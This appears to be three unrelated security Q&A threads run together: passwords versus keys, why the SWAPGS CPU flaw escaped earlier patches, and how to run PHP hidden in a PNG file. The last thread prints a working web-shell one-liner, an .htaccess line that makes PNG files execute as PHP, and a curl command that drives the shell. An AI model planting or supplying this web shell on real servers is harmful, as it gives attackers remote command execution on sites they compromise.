Passwords are generally, predictably, unavoidably weak.  While it is possible to have strong passwords, time and again it has been shown that people will use weak passwords and have poor password practices... short, simple, word-based, simple patterns ("p@ssw0rd!"), write them down, use them on multiple sites, base them on their phone number, their children's birthdate, their own name.  You point out that keys don't expire, but why do passwords expire?  To ensure that a brute-force attack is less likely to crack a password before it's been replaced.  Not an issue that impacts keys.

And, bad passwords aside, even "good" passwords are vulnerable to brute-force (online or offline) under the right conditions.  They have to get transmitted to the other system, or to any other place that the user can be fooled into sending them by mistake.

The balance of evidence strongly suggests that passwords are weaker and keys are stronger.


A new exploit in town: SWAPGS. How and why did it happen? Apparently, there's a new speculative execution exploit in town on Intel CPUs: SWAPGS. It takes research on Meltdown and Spectre to the next level and targets the root of the CPU.

This is not the first SE exploit, and probably won't be the last. But how does this one manage to evade all the patches developed for the other recent exploits? Or, put more simply, how is this one different? They patched the previous ones after all. Just because it's a different instruction, it works again?

Obligatory XKCD: #1938 Meltdown and Spectre

Please keep the answers (relatively) simple.

The issue with the SWAPGS instruction and its malicious use was that it was not known to be malicious. We've got to remember that we're talking about extremely complex systems and very few people know these structures in depth. Quite a few of these types of vulnerabilities has been discovered by private entities and not the chip manufacturers. This issue was discovered back in August 2018 - which is about half a year after Spectre and Meltdown. But Intel didn't want to address until the disclosing party insisted and presented further evidence. So another answer to your question is - politics.

Bitdefender(I have no affiliation or interest in promotion of them) has released a whitepaper on the topic which explains the entire issue in high detail which I can highly recommend: https://businessresources.bitdefender.com/hubfs/noindex/Bitdefender-WhitePaper-SWAPGS.pdf


Execute PHP inside PNG using curl I'm doing some testing on executing remote PHP via PHP hidden inside a PNG file.
I've got a PNG file on my server with the following PHP code stored inside the PNG file.

<?=$_GET[0]($_POST[1]);?>

The idea being is that I pass a GET request with shell_exec OR exec function, followed by POST data 1 = the command to run.

I have been trying to use curl without success. I keep getting HTTP/1.1 404 not found.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

Any ideas what can I use to send the GET request and include the POST data?

First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file.

AddHandler application/x-httpd-php .png

or

AddHandler application/x-httpd-php5 .png

Otherwise, it won't execute the PHP code.

Second, there's a syntax error in your curl request. You're missing a quote.

Try this:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"